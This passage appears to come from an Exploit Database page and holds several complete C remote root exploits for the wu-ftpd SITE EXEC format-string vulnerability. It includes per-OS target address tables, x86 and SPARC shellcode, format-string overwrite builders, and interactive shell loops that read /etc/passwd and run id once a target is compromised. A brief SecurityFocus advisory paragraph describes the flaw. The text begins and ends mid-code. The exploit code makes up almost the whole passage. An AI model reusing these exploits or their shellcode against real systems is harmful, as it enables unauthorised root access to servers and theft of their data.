*version; char *code; int align; int eipoff; long ret; long retloc; int sleep; }; struct platforms targ[] = { { "FreeBSD 3.4-STABLE", "2.6.0-ports", bsdcode, 2, 1024, 0x80b1f10, 0xbfbfcc04, 0 }, { "FreeBSD 5.0-CURRENT", "2.6.0-ports", bsdcode, 2, 1024, 0x80b1510, 0xbfbfec0c, 0 }, { "FreeBSD 3.4-STABLE", "2.6.0-packages", bsdcode, 2, 1024, 0x80b1510, 0xbfbfe798, 0 }, { "FreeBSD 3.4-STABLE", "2.6.0-venglin", bsdcode, 2, 1024, 0x807078c, 0xbfbfcc04, 0 }, { "RedHat Linux 6.2", "2.6.0-RPM", linuxcode, 2, 1024, 0x80759e0, 0xbfffcf74, 0 }, { "RedHat Linux 6.2", "2.6.0-RPM", linuxcode, 2, 1024, 0x80759e0, 0xbfffd074, 0 }, { "RedHat Linux 6.2", "2.6.0-RPM", linuxcode, 2, 1024, 0x80759e0, 0xbfffcf84, 0 }, { "RedHat Linux 6.2", "2.6.0-RPM", linuxcode, 2, 1024, 0x80759e0, 0xbfffd04c, 0 }, { "RedHat Linux 6.2-SMP", "2.6.0-RPM", linuxcode, 2, 1024, 0x80759e0, 0xbfffd0e4, 0 }, { NULL, NULL, NULL, 0, 0, 0, 0 } }; long getip(name) char *name; { struct hostent *hp; long ip; extern int h_errno; if ((ip = inet_addr(name)) < 0) { if (!(hp = gethostbyname(name))) { fprintf(stderr, "gethostbyname(): %s\n", strerror(h_errno)); exit(1); } memcpy(&ip, (hp->h_addr), 4); } return ip; } int connecttoftp(host, port) char *host; int port; { int sockfd; struct sockaddr_in cli; bzero(&cli, sizeof(cli)); cli.sin_family = AF_INET; cli.sin_addr.s_addr=getip(host); cli.sin_port = htons(port); if((sockfd = socket(AF_INET, SOCK_STREAM, 0)) < 0) { perror("socket"); return -1; } if(connect(sockfd, (struct sockaddr *)&cli, sizeof(cli)) < 0) { perror("connect"); close(sockfd); return -1; } cin = fdopen(sockfd, "r"); cout = fdopen(sockfd, "w"); if (!cin || !cout) { close(sockfd); return -1; } return sockfd; } int command(const char *fmt, ...) { char buf1[BUFSIZ], buf2[BUFSIZ*2], *p, *q; va_list args; if (!cout) return -1; bzero(buf1, BUFSIZ); bzero(buf2, BUFSIZ*2); va_start(args, fmt); vsnprintf(buf1, BUFSIZ, fmt, args); va_end(args); for (p=buf1,q=buf2;*p;p++,q++) { if (*p == '\xff') { *q++ = '\xff'; *q = '\xff'; } else *q = *p; } fprintf(cout, "%s", buf2); #ifdef DEBUG fprintf(stderr, "--> "); fprintf(stderr, "%s", buf2); fputc('\n', stderr); #endif fputs("\r\n", cout); (void)fflush(cout); return 0; } int getreply(v) int v; { if (!(fgets(recvbuf, BUFSIZ, cin))) return -1; if (v) fprintf(stderr, "<-- %s", recvbuf); return 0; } int logintoftp(login, passwd) char *login, *passwd; { do repl; while (strncmp(recvbuf, "220 ", 4)); if ((command("USER %s", login)) < 0) return -1; repl; if (strncmp(recvbuf, "331", 3)) { puts(recvbuf); return -1; } if ((command("PASS %s", passwd) < 0)) return -1; do repl; while (strncmp(recvbuf, "230 ", 4)); return 0; } int checkvuln(void) { command("SITE EXEC %%p"); repl; if(strncmp(recvbuf, "200-", 4)) return -1; if(strncmp(recvbuf+4, "0x", 2)) return -1; repl; return 0; } int findeip(eipoff, align) int eipoff, align; { int i, j, off; char *p1; char eip1[10], eip2[10]; for (i=eipoff;;i+=8) { fprintf(stderr, "at offset %d\n", i); strcpy(sendbuf, "SITE EXEC "); for (j=0;j<align;j++) strcat(sendbuf, "a"); strcat(sendbuf, "abcd"); for (j=0;j<eipoff/8;j++) strcat(sendbuf, "%%.f"); for (j=0;j<(i-eipoff)/8;j++) strcat(sendbuf, "%%d%%d"); strcat(sendbuf, "|%%.8x|%%.8x"); if (command(sendbuf) < 0) return -1; repl; if (!(p1 = strchr(recvbuf, '|'))) return -1; strncpy(eip1, p1+1, 8); strncpy(eip2, p1+10, 8); eip1[8] = eip2[8] = '\0'; if (!(strcmp(eip1, "64636261"))) { off = i; break; } if (!(strcmp(eip2, "64636261"))) { off = i + 4; break; } repl; } repl; return off; } char *putshell(type) int type; { static char buf[400]; int noplen; char *code = targ[type].code; noplen = sizeof(buf) - strlen(code) - 2; memset(buf, 0x90, noplen); buf[noplen+1] = '\0'; strcat(buf, code); return buf; } int overwrite(ptr, off, align, retloc, eipoff) long ptr, retloc; int off, align, eipoff; { int i, size = 0; char buf[100]; fprintf(stderr, "RET: %p, RET location: %p," " RET location offset on stack: %d\n", (void *)ptr, (void *)retloc, off); if (off >= 12) { strcpy(sendbuf, "SITE EXEC "); for (i=0;i<eipoff/8;i++) strcat(sendbuf, "%%.f"); for (i=0;i<(off-eipoff-8)/8;i++) strcat(sendbuf, "%%d%%d"); if (((off-eipoff-8) % 8) != 0) strcat(sendbuf, "%%d%%d"); if (command(sendbuf) < 0) return -1; repl; size = strlen(recvbuf+4) - 2; repl; } fprintf(stderr, "Reply size: %d, New RET: %p\n", size, (void *)(ptr-size)); strcpy(sendbuf, "SITE EXEC "); for (i=0;i<align;i++) strcat(sendbuf, "a"); sprintf(buf, "%c%c%c%c", ((int)retloc & 0xff), (((int)retloc & 0xff00) >> 8), (((int)retloc & 0xff0000) >> 16), (((int)retloc & 0xff000000) >> 24)); strcat(sendbuf, buf); for (i=0;i<eipoff/8;i++) strcat(sendbuf, "%%.f"); for (i=0;i<(off-eipoff-8)/8;i++) strcat(sendbuf, "%%d%%d"); if (((off-eipoff-8) % 8) != 0) strcat(sendbuf, "%%d%%d"); strcat(sendbuf, "%%."); sprintf(buf, "%d", (int)ptr-size); strcat(sendbuf, buf); strcat(sendbuf, "d%%n"); if (command(sendbuf) < 0) return -1; return 0; } int sh(sockfd) int sockfd; { char buf[BUFSIZ]; int c; fd_set rf, drugi; char cmd[] = "uname -a ; pwd ; id\n"; FD_ZERO(&rf); FD_SET(0, &rf); FD_SET(sockfd, &rf); write(sockfd, cmd, strlen(cmd)); while (1) { bzero(buf, BUFSIZ); memcpy (&drugi, &rf, sizeof(rf)); select(sockfd+1, &drugi, NULL, NULL, NULL); if (FD_ISSET(0, &drugi)) { c = read(0, buf, BUFSIZ); send(sockfd, buf, c, 0x4); } if (FD_ISSET(sockfd, &drugi)) { c = read(sockfd, buf, BUFSIZ); if (c<0) return 0; write(1,buf,c); } } } int main(argc, argv) int argc; char **argv; { extern int optind, opterr; extern char *optarg; int ch, type, port, eipoff, fd, retofs, retlocofs, align, i, retoff; long ret, retloc; char login[BUFSIZ], password[BUFSIZ]; opterr = retofs = retlocofs = 0; strcpy(login, "ftp"); type = -1; port = 21; while ((ch = getopt(argc, argv, "l:f:s:t:o")) != -1) switch((char)ch) { case 'l': strcpy(login, optarg); break; case 't': type = atoi(optarg); break; case 'o': port = atoi(optarg); break; case 'f': retofs = atoi(optarg); break; case 's': retlocofs = atoi(optarg); break; case '?': default: puts(usage); exit(0); } argc -= optind; argv += optind; fprintf(stderr, "PanBobek v1.1 by [email protected]\n\n"); if (type < 0) { fprintf(stderr, "Please select platform:\n"); for (i=0;targ[i].os;i++) { fprintf(stderr, "\t-t %d : %s %s (%p / %p)\n", i, targ[i].os, targ[i].version, (void *)targ[i].ret, (void *)targ[i].retloc); } exit(0); } fprintf(stderr, "Selected platform: %s with WUFTPD %s\n\n", targ[type].os, targ[type].version); eipoff = targ[type].eipoff; align = targ[type].align; ret = targ[type].ret; retloc = targ[type].retloc; retloc += retlocofs; ret += retofs; if (argc != 1) { puts(usage); exit(0); } strcpy(password, putshell(type)); if ((fd = connecttoftp(*argv, port)) < 0) { (void)fprintf(stderr, "Connection to %s failed.\n", *argv); exit(1); } (void)fprintf(stderr, "Connected to %s. Trying to log in.\n", *argv); if (logintoftp(login, password) < 0) { (void)fprintf(stderr, "Logging in to %s (%s) failed.\n", *argv, login); exit(1); } (void)fprintf(stderr, "Logged in as %s. Checking vulnerability.\n", login); sleep(targ[type].sleep); if (checkvuln() < 0) { (void)fprintf(stderr, "Sorry, this version isn't" " vulnerable or uses internal vsnprintf().\n"); exit(1); } (void)fprintf(stderr, "Ok, trying to find offset (initial: %d)\n", eipoff); if ((retoff = findeip(eipoff, align)) < 0) { (void)fprintf(stderr, "\nError finding offset. Adjust" " align.\n"); exit(1); } if (overwrite(ret, retoff, align, retloc, eipoff) < 0) { (void)fprintf(stderr, "Error overwriting RET addr.\n"); exit(1); } fprintf(stderr, "Wait up to few minutes for reply. It depends on " "victim's CPU speed.\nEnjoy your shell.\n"); sh(fd); exit(0); } // milw0rm.com [2000-11-21]
Exploit Database EDB-ID : 239

Publication date : 2001-01-02 23h00 +00:00
Author : kalou
EDB Verified : Yes

/* ** ** 12:40 11/10/00: Tool for either attack or defense ** within an information warfare setting. Rather, it ** is a small program demonstrating proof of concept. ** Default values for solaris 2.8 and inetd. ** ** If you are not the intended recipient, or a person ** responsible for delivering it to the intended ** recipient, you are not authorised to and must not ** disclose, copy, distribute, or retain this message ** or any part of it. Such unauthorised use may be ** unlawful.If you have received this transmission in ** error,please email us immediately at [email protected] ** so that we can arrange for its return. ** ** kalou <[email protected]> ** ** Usage: ** ** 0xfdc (4060) bytes after the ret position, you have: ** ** -HOSTNAME: anonymous/EGGSHELL ** ** This of course begins on a 4 bytes boundary. ** ** Check your hostname len. Align this with pad to have EGGSHELL on a ** 4 bytes boundary (-p). Localhost needs 2 bytes, for example. ** ** Use '%s' format bug exploitation to look for this string in memory. ** (you have to eat 15 words out of stack). ** ** Remove 0xfdc + len (-HOSTNAME: anonymous/pad) to your found pointer. ** This substracted value is kept as the distance (-d). ** Result is your return address position (-w). Check it if you want. ** ** This code substracts 8 to this address (sparc ret behaviour). ** ** You may use the 102th %p pointer on stack to find the string. eg: ffbef640. ** ** adding 0x870 to this value, I found my string. ** ** offset should be useless. site_padding depends on the '/bin/ftp-exec/' ** config stuff. ** ** (./wu -p 2 -d 0xff4 ; cat ) | nc localhost 21 ** */ /* Stolener Foundation */ #include <unistd.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #ifdef __linux #include <getopt.h> #endif void *build_format_string(int where, int what, int gout, int eat, int pad) { int expected_len; int what1, where1; int what2, where2; char w1[512]; char w2[512]; int i; char *buf, *p; /* generate two %hn len : */ what1 = (what >> 16) & 0xffff; what2 = what & 0xffff; fprintf(stderr, "what1: %0x\n", what1); fprintf(stderr, "what2: %0x\n", what2); if ( what1 > what2 ) { where1 = where + 2; where2 = where; what1 -= what2; } else { where1 = where; where2 = where + 2; what2 -= what1; } fprintf(stderr, "removing %d.\n", pad + 2 * sizeof(where) + gout + (eat - 1) * 12); if (where1 < where2) { what1 -= pad + 2 * sizeof(where) + (eat - 1) * 12 + gout; } else { what2 -= pad + 2 * sizeof(where) + (eat - 1) * 12 + gout; } fprintf(stderr, "%08x: writing first %s\n", what, (where1 > where2) ? "what2" : "what1"); fprintf(stderr, "what1 is %08x, what2 is %08x\n", what1, what2); sprintf(w1, "%%0%dx%%hn", what1); sprintf(w2, "%%0%dx%%hn", what2); fprintf(stderr, "1: %s\n2: %s\n", w1, w2); /* calculate expected len : */ expected_len = pad + 12 + (eat - 1) * 8 + strlen(w1) + strlen(w2) + 1; fprintf(stderr, "len is %d\n", expected_len); buf = (char *) malloc(expected_len); if ( buf == NULL) return buf; p = buf; /* pad */ for (i = 0; i < pad; i++) { *p++ = '.'; } /* retaddr, part 1 - first %hn*/ *p++ = (where1 >> 24) & 0xff; *p++ = (where1 >> 16) & 0xff; *p++ = (where1 >> 8) & 0xff; *p++ = (where1) & 0xff; *p++ = 0x0f; *p++ = 0x0e; *p++ = 0x0e; *p++ = 0x0f; /* so that the first %0(much)x eats something /* retaddr, part 2 - second %hn */ *p++ = ((where2) >> 24) & 0xff; *p++ = ((where2) >> 16) & 0xff; *p++ = ((where2) >> 8) & 0xff; *p++ = (where2) & 0xff; /* eaters.. */ for (i = 0; i < (eat - 1); i++) { strcpy(p, "%000012x"); p += 8; } /* what1, what2 */ if (what1 > what2) { strcpy(p, w1); strcpy(p + strlen(w1), w2); } else { strcpy(p, w2); strcpy(p + strlen(w2), w1); } return buf; } void *ftp_escape(void *buf) { void *boh; char *p = buf; char *r; boh = malloc(4096); r = boh; while (*p) { *r++ = *p; if ((*p) == '\xff') *r++ = *p; p++; } *r = '\0'; return boh; } void usage(char *me) { fprintf(stderr, "Usage : %s \n" " [-w where (hexa) ] /* ret position */\n" " 0 [-o offset ] /* or just offset, or both */\n" "1010 [-d distance (hex)] /* distance to pass */\n" " 2 [-s site_pad ] /* padding to site_exec */\n" " 3 [-p pass_pad ] /* padding to eggshell */\n" " 4 [-g gout ] /* output size (200-) */\n" " 15 [-e eat ] /* pointers to eat */\n\n\n", me); exit(0); } main(int argc, char **argv) { char c; int where, offset, distance, gout, site_pad, pass_pad, eat; char *buf; char break_sparc[] = "\x90\x1b\xc0\x0f" // xor %o7, %o7, %o0 "\x82\x10\x20\x17" // mov 23, %g1 "\x91\xd0\x20\x08" // ta 8 ! setuid(0) "\xae\x10\x20\x2e" // mov 0x2e, %l7 "\xaf\x2d\xe0\x18" // sll %l7, 24, %l7 "\xee\x23\xbf\xd0" // st %l7, [ %sp - 48 ] "\x90\x23\xa0\x30" // sub %sp, 48, %o0 "\x82\x10\x20\x05" // mov 5, %g1 "\x92\x1b\xc0\x0f" // xor %o7, %o7, %o1 "\x91\xd0\x20\x08" // ta 8 ! fd = open(".", 0); "\xa6\x82\x20\x01" // addcc %o0, 1, %l3 ! "\xae\x10\x20\x6b" // mov 0x6b, %l7 "\xaf\x2d\xe0\x18" // sll %l7, 24, %l7 "\xee\x23\xbf\xd0" // st %l7, [ %sp - 48 ] "\x90\x23\xa0\x30" // sub %sp, 48, %o0 "\x92\x10\x21\xff" // mov 0x1ff, %o1 "\x82\x10\x20\x50" // mov 0x50, %g1 "\x91\xd0\x20\x08" // ta 8 ! mkdir("k", 0755) "\x90\x23\xa0\x30" // sub %sp, 48, %o0 "\x82\x10\x20\x3d" // mov 0x3d, %g1 "\x91\xd0\x20\x08" // ta 8 ! chroot("k") "\x90\x24\xe0\x01" // sub %l3, 1, %o0 "\x82\x10\x20\x78" // mov 0x78, %g1 "\x91\xd0\x20\x08" // ta 8 ! fchdir(fd) "\x2f\x0b\x8b\x8b" // sethi %hi(0x2e2e2c00), %l7 "\xae\x15\xe3\x2e" // or %l7, 0x32e, %l7 "\xee\x23\xbf\xd0" // st %l7, [ %sp - 48 ] ! ../. "\x2f\x0b\xcb\x8b" // sethi %hi(0x2f2e2c00), %l7 "\xae\x15\xe2\x2f" // or %l7, 0x22f, %l7 "\xee\x23\xbf\xd4" // st %l7, [ %sp - 44 ] ! /../ "\xee\x23\xbf\xd8" // st %l7, [ %sp - 40 ] "\xee\x23\xbf\xdc" // st %l7, [ %sp - 36 ] "\xee\x23\xbf\xe0" // st %l7, [ %sp - 32 ] "\xee\x23\xbf\xe4" // st %l7, [ %sp - 28 ] "\xee\x23\xbf\xe8" // st %l7, [ %sp - 24 ] "\xee\x23\xbf\xec" // st %l7, [ %sp - 20 ] ! .././..//..//../(ad lib) "\xc0\x23\xbf\xf0" // clr [ %sp - 16 ] "\x82\x10\x20\x0c" // mov 0xc, %g1 "\x90\x23\xa0\x30" // sub %sp, 48, %o0 "\x91\xd0\x20\x08" // ta 8 ! chdir(".././../...") "\xae\x10\x20\x2e" // mov 0x2e, %l7 "\xaf\x2d\xe0\x18" // sll %l7, 24, %l7 "\xee\x23\xbf\xd0" // st %l7, [ %sp - 48 ] ! stupido. anyway. "\x90\x23\xa0\x30" // sub %sp, 48, %o0 "\x82\x10\x20\x3d" // mov 0x3d, %g1 "\x91\xd0\x20\x08" // ta 8 "\x2d\x0b\xd8\x9a" // sethi %hi(0x2f62696e), %l6 ! no more mine. "\xac\x15\xa1\x6e" // or %l6, %lo(0x2f62696e), %l6 "\x2f\x0b\xdc\xda" // sethi %hi(0x2f736800), %l7 "\x90\x0b\x80\x0e" // and %sp, %sp, %o0 "\x92\x03\xa0\x08" // add %sp, 8, %o1 "\x94\x1b\xc0\x0f" // xor %o7, %o7, %o2 "\x9c\x03\xa0\x10" // add %sp, 16, %sp "\xec\x3b\xbf\xf0" // std %l6, [%sp-16] "\xd0\x23\xbf\xf8" // st %o0, [%sp-8] "\xc0\x23\xbf\xfc" // st %g0, [%sp-4] "\x82\x10\x20\x3b" // mov 59, %g1 "\x91\xd0\x20\x08" // ta 8 "\x91\xd0\x20\x08"; // ta 8 offset = 0; where = 0xffbeeed4; distance = 0x1004; gout = 4; eat = 15; site_pad = 2; pass_pad = 3; while ( ( c = getopt(argc, argv, "w:o:d:e:g:s:p:") ) != EOF ) { switch(c) { case 'w': where = strtoul(optarg, NULL, 16); break; case 'o': offset = atoi(optarg); break; case 'd': distance = strtoul(optarg, NULL, 16); break; case 'e': eat = atoi(optarg); break; case 'g': gout = atoi(optarg); break; case 's': site_pad = atoi(optarg) % 4; break; case 'p': pass_pad = atoi(optarg) % 4; break; default: usage(argv[0]); } } where += offset; fprintf(stderr, "ret [%x]:%x\n" "ppad %d\n" "spad %d\n" "gout %d\n" "eat %d\n", where, where + distance, pass_pad, site_pad, gout, eat); printf("user ftp\n"); buf = ftp_escape(break_sparc); printf("pass %.*s%s\n", pass_pad, "xxxx", buf); buf = build_format_string(where, where + distance - 8, gout, eat, site_pad); buf = ftp_escape(buf); printf ("site exec %s\n", buf); } // milw0rm.com [2001-01-03]
Exploit Database EDB-ID : 20030

Publication date : 1999-10-14 22h00 +00:00
Author : tf8
EDB Verified : Yes

// source: https://www.securityfocus.com/bid/1387/info Washington University ftp daemon (wu-ftpd) is a very popular unix ftp server shipped with many distributions of Linux and other UNIX operating systems. Wu-ftpd is vulnerable to a very serious remote attack in the SITE EXEC implementation. Because of user input going directly into a format string for a *printf function, it is possible to overwrite important data, such as a return address, on the stack. When this is accomplished, the function can jump into shellcode pointed to by the overwritten eip and execute arbitrary commands as root. While exploited in a manner similar to a buffer overflow, it is actually an input validation problem. Anonymous ftp is exploitable making it even more serious as attacks can come anonymously from anywhere on the internet. It should be noted that the SITE INDEX command is affected as well. /* * VERY PRIVATE VERSION. DO NOT DISTRIBUTE. 15-10-1999 * * WUFTPD 2.6.0 REMOTE ROOT EXPLOIT * by tf8 * * *NOTE*: For ethical reasons, only an exploit for 2.6.0 will be * released (2.6.0 is the most popular version nowadays), and it * should suffice to proof this vulnerability concept. * * Site exec was never really *fixed* * * Greetz to portal (he is elite!#%$) and all #!security.is, glitch, DiGit, * \x90, venglin, xz, MYT and lamagra. * Also greetings go to the WU-FTPD development team for including this * bug in ALL their versions. * * Fuck to wuuru (he is an idiot) * * Account is not required, anonymous access is enough :) * * VERY PRIVATE VERSION. DO NOT DISTRIBUTE. 15-10-1999 */ #include <stdio.h> #include <string.h> #include <stdlib.h> #include <sys/types.h> #include <sys/socket.h> #include <sys/time.h> #include <netdb.h> #include <unistd.h> #include <netinet/in.h> #include <arpa/inet.h> #include <signal.h> #include <errno.h> #ifdef __linux #include <getopt.h> #endif #define MAKE_STR_FROM_RET(x) ((x)&0xff),(((x)&0xff00)>>8),(((x)&0xff0000)>>16),(((x)&0xff000000)>>24) #define GREEN "\033[32m" #define RED "\033[31m" #define NORM "\033[0m" char infin_loop[]= /* for testing purposes */ "\xEB\xFE"; char bsdcode[] = /* Lam3rZ chroot() code rewritten for FreeBSD by venglin */ "\x31\xc0\x50\x50\x50\xb0\x7e\xcd\x80\x31\xdb\x31\xc0\x43" "\x43\x53\x4b\x53\x53\xb0\x5a\xcd\x80\xeb\x77\x5e\x31\xc0" "\x8d\x5e\x01\x88\x46\x04\x66\x68\xff\xff\x01\x53\x53\xb0" "\x88\xcd\x80\x31\xc0\x8d\x5e\x01\x53\x53\xb0\x3d\xcd\x80" "\x31\xc0\x31\xdb\x8d\x5e\x08\x89\x43\x02\x31\xc9\xfe\xc9" "\x31\xc0\x8d\x5e\x08\x53\x53\xb0\x0c\xcd\x80\xfe\xc9\x75" "\xf1\x31\xc0\x88\x46\x09\x8d\x5e\x08\x53\x53\xb0\x3d\xcd" "\x80\xfe\x0e\xb0\x30\xfe\xc8\x88\x46\x04\x31\xc0\x88\x46" "\x07\x89\x76\x08\x89\x46\x0c\x89\xf3\x8d\x4e\x08\x8d\x56" "\x0c\x52\x51\x53\x53\xb0\x3b\xcd\x80\x31\xc0\x31\xdb\x53" "\x53\xb0\x01\xcd\x80\xe8\x84\xff\xff\xff\xff\xff\xff\x30" "\x62\x69\x6e\x30\x73\x68\x31\x2e\x2e\x31\x31\x76\x65\x6e" "\x67\x6c\x69\x6e"; char bsd_code_d[]= /* you should call it directly (no jump/call)*/ "\xEB\xFE\xEB\x02\xEB\x05\xE8\xF9\xFF\xFF\xFF\x5C" "\x8B\x74\x24\xFC\x31\xC9\xB1\x15\x01\xCE\xB1\x71\xB0\xEF" "\x30\x06\x8D\x76\x01\xE2\xF9\xDE\x26\xDE\x2F\xBE\x5F\xF8" "\xBF\x22\x6F\x5F\xB5\xEB\xB4\xBE\xBF\x22\x6F\x62\xB9\x14" "\x87\x75\xED\xEF\xEF\xBD\x5F\x67\xBF\x22\x6F\x62\xB9\x11" "\xBE\xBD\x5F\xEA\xBF\x22\x6F\x66\x2C\x62\xB9\x14\xBD\x5F" "\xD2\xBF\x22\x6F\xBC\x5F\xE2\xBF\x22\x6F\x5C\x11\x62\xB9" "\x12\x5F\xE3\xBD\xBF\x22\x6F\x11\x24\x9A\x1C\x62\xB9\x11" "\xBD\x5F\xD2\xBF\x22\x6F\x62\x99\x12\x66\xA1\xEB\x62\xB9" "\x17\x66\xF9\xB9\xB9\xBD\x5F\xD4\xBF\x22\x6F\xC0\x8D\x86" "\x81\xC0\x9C\x87\xEF\xC1\xC1\xEF"; char linuxcode[]= /* Lam3rZ chroot() code */ "\x31\xc0\x31\xdb\x31\xc9\xb0\x46\xcd\x80\x31\xc0\x31\xdb" "\x43\x89\xd9\x41\xb0\x3f\xcd\x80\xeb\x6b\x5e\x31\xc0\x31" "\xc9\x8d\x5e\x01\x88\x46\x04\x66\xb9\xff\xff\x01\xb0\x27" "\xcd\x80\x31\xc0\x8d\x5e\x01\xb0\x3d\xcd\x80\x31\xc0\x31" "\xdb\x8d\x5e\x08\x89\x43\x02\x31\xc9\xfe\xc9\x31\xc0\x8d" "\x5e\x08\xb0\x0c\xcd\x80\xfe\xc9\x75\xf3\x31\xc0\x88\x46" "\x09\x8d\x5e\x08\xb0\x3d\xcd\x80\xfe\x0e\xb0\x30\xfe\xc8" "\x88\x46\x04\x31\xc0\x88\x46\x07\x89\x76\x08\x89\x46\x0c" "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xb0\x0b\xcd\x80\x31\xc0" "\x31\xdb\xb0\x01\xcd\x80\xe8\x90\xff\xff\xff\xff\xff\xff" "\x30\x62\x69\x6e\x30\x73\x68\x31\x2e\x2e\x31\x31"; #define MAX_FAILED 4 #define MAX_MAGIC 100 static int magic[MAX_MAGIC],magic_d[MAX_MAGIC]; static char *magic_str=NULL; int before_len=0; char *target=NULL,*username="ftp",*password=NULL; struct targets getit; struct targets { int def; char *os_descr, *shellcode; int delay; u_long pass_addr, addr_ret_addr; int magic[MAX_MAGIC], magic_d[MAX_MAGIC],islinux; }; struct targets targ[]={ {1,"RedHat 6.2 (?) with wuftpd 2.6.0(1) from rpm",linuxcode,2,0x8075b00-700,0xbfffb028,{0x87,3,1,2},{1,2,1,4},1}, {0,"RedHat 6.2 (Zoot) with wuftpd 2.6.0(1) from rpm",linuxcode,2,0x8075b00-700,0xbfffb038,{0x87,3,1,2},{1,2,1,4},1}, {0,"SuSe 6.3 with wuftpd 2.6.0(1) from rpm",linuxcode,2,0x8076cb0-400,0xbfffb018,{0x87,3,1,2},{1,2,1,4},1}, {0,"SuSe 6.4 with wuftpd 2.6.0(1) from rpm",linuxcode,2,0x8076920-400,0xbfffafec,{0x88,3,1,2},{1,2,1,4},1}, {0,"RedHat 6.2 (Zoot) with wuftpd 2.6.0(1) from rpm (test)",linuxcode,2,0x8075b00-700,0xbfffb070,{0x87,3,1,2},{1,2,1,4},1}, {0,"FreeBSD 3.4-STABLE with wuftpd 2.6.0(1) from ports",bsdcode,10,0x80bb474-100, 0xbfbfc164,{0x3b,2,4,1,0x44,2,1,2},{1,2,1 ,2,1,2,1,4},0}, {0,"FreeBSD 3.4-STABLE with wuftpd 2.6.0(1) from packages",bsdcode,2,0x806d5b0-500,0xbfbfc6bc, {0x84,1,2,1,2}, {1,3,2,1,4}, 0}, {0,"FreeBSD 3.4-RELEASE with wuftpd 2.6.0(1) from ports",bsdcode,2,0x80a4dec-400,0xbfbfc624,{0x3B,2,1,0xe,0x40,1,2,1,2},{1, 2,1,2,1,3,2,1,4},0}, {0,"FreeBSD 4.0-RELEASE with wuftpd 2.6.0(1) from packages",infin_loop,2,0x80706f0,0xbfbfe798,{0x88,2,1,2},{1,2,1,4},0}, {0,NULL,NULL,0,0,0,{0},{0},0} }; void usage(char*zu,int q){ int i, n, padding; fprintf(stderr,"Usage: %s -t <target> [-l user/pass] [-s systype] [-o offset] [-g] [-h] [-x]\n" " [-m magic_str] [-r ret_addr] [-P padding] [-p pass_addr] [-M dir]\n" "target : host with any wuftpd\nuser : anonymous user\n" "dir : if not anonymous user, you need to have writable directory\n" "magic_str : magic string (see exploit description)\n-g : enables magic string digging\n" "-x : enables test mode\npass_addr : pointer to setproctitle argument\n" "ret_addr : this is pointer to shellcode\nsystypes: \n",zu); for(i=0;targ[i].os_descr!=NULL;i++){ padding=0; fprintf(stderr,"%s%2d - %s\n",targ[i].def?"*":" ",i,targ[i].os_descr); if(q>1){ fprintf(stderr," Magic ID: ["); for(n=0;targ[i].magic[n]!=0;n++){ if(targ[i].magic_d[n]==4) padding=targ[i].magic[n]; fprintf(stderr,"%02X,%02X",targ[i].magic[n],targ[i].magic_d[n]); if(targ[i].magic[n+1]!=0) fprintf(stderr,":"); } fprintf(stderr,"] Padding: %d\n",padding); fflush(stderr); } } exit(1); } int connect_to_server(char*host){ struct hostent *hp; struct sockaddr_in cl; int sock; if(host==NULL||*host==(char)0){ fprintf(stderr,"Invalid hostname\n"); exit(1); } if((cl.sin_addr.s_addr=inet_addr(host))==-1) { if((hp=gethostbyname(host))==NULL) { fprintf(stderr,"Cannot resolve %s\n",host); exit(1); } memcpy((char*)&cl.sin_addr,(char*)hp->h_addr,sizeof(cl.sin_addr)); } if((sock=socket(PF_INET,SOCK_STREAM,IPPROTO_TCP))==-1){ fprintf(stderr,"Error creating socket: %s\n",strerror(errno)); exit(1); } cl.sin_family=PF_INET; cl.sin_port=htons(21); if(connect(sock,(struct sockaddr*)&cl,sizeof(cl))==-1){ fprintf(stderr,"Cannot connect to %s: %s\n",host,strerror(errno)); exit(1); } return sock; } int ftp_recv(int sock,char*buf,int buf_size,int disc){ int n=0; char q; if(disc) while((n=recv(sock,&q,1,0))==1&&q!='\n'); else { (void)bzero(buf,buf_size); n=recv(sock,buf,buf_size,0); if(n<0){ fprintf(stderr,"ftp_recv: recv failed\n"); exit(1); } buf[n]=0; } return n; } int ftp_send(int sock,char*what,int size,int f,char*ans,int ans_size){ int n; n=send(sock,what,size,0); if(n!=size){ fprintf(stderr,"ftp_send: failed to send. expected %d, sent %d\n", size,n); shutdown(sock,2); close(sock); exit(1); } if(f) return ftp_recv(sock,ans,ans_size,0); return 0; } int ftp_siteexec(int sock,char*buff,int buff_len,int q,char*ans,int ans_len){ ftp_send(sock,buff,buff_len,q,ans,ans_len); if(strncmp(ans,"200-",4)==0) ftp_recv(sock,NULL,0,1); else ftp_recv(sock,ans,ans_len,0); if(strncmp(ans,"200-",4)){ fprintf(stderr,"Cannot find site exec response string\n"); exit(1); } return 0; } void ftp_login(int sock,char*u_name,char*u_pass) { char buff[2048]; printf("loggin into system..\n"); snprintf(buff,2047,"USER %s\r\n", u_name); ftp_send(sock, buff,strlen(buff),1,buff,2047); printf(GREEN"USER %s\n"NORM"%s",u_name,buff); snprintf(buff,2047,"PASS %s\r\n",u_pass); printf(GREEN"PASS %s\n"NORM,*u_pass=='\x90'?"<shellcode>":u_pass); ftp_send(sock,buff,strlen(buff),1,buff,2047); while(strstr(buff,"230 ")==NULL){ (void)bzero(buff,2048); ftp_recv(sock,buff,2048,0); } printf("%s",buff); return; } void ftp_mkchdir(int sock,char*cd,char*new) { char buff[2048]; sprintf(buff,"CWD %s\r\n",cd); printf(GREEN"%s"NORM,buff); ftp_send(sock,buff,strlen(buff),1,buff,2047); printf("%s",buff); sprintf(buff,"MKD %s\r\n",new); ftp_send(sock,buff,strlen(buff),1,buff,2047); printf(GREEN"MKD <shellcode>"NORM"\n%s",buff); sprintf(buff,"CWD %s\r\n",new); ftp_send(sock,buff,strlen(buff),1,buff,2047); printf(GREEN"CWD <shellcode>"NORM"\n%s",buff); return; } void process_possibly_rooted(int sock) { fd_set fd_read; char buff[1024], *cmd="/bin/cat /etc/passwd;/usr/bin/id;\n"; int n; FD_ZERO(&fd_read); FD_SET(sock, &fd_read); FD_SET(0, &fd_read); send(sock, cmd, strlen(cmd), 0); while(1) { FD_SET(sock,&fd_read); FD_SET(0,&fd_read); if(select(sock+1,&fd_read,NULL,NULL,NULL)<0) break; if( FD_ISSET(sock, &fd_read) ) { if((n=recv(sock,buff,sizeof(buff),0))<0){ fprintf(stderr, "EOF\n"); exit(2); } if(write(1,buff,n)<0)break; } if ( FD_ISSET(0, &fd_read) ) { if((n=read(0,buff,sizeof(buff)))<0){ fprintf(stderr,"EOF\n"); exit(2); } if(send(sock,buff,n,0)<0) break; } usleep(10); } fprintf(stderr,"Connection aborted, select failed()\n"); exit(0); } int magic_check_f(int sock, char *str) { char q[2048], 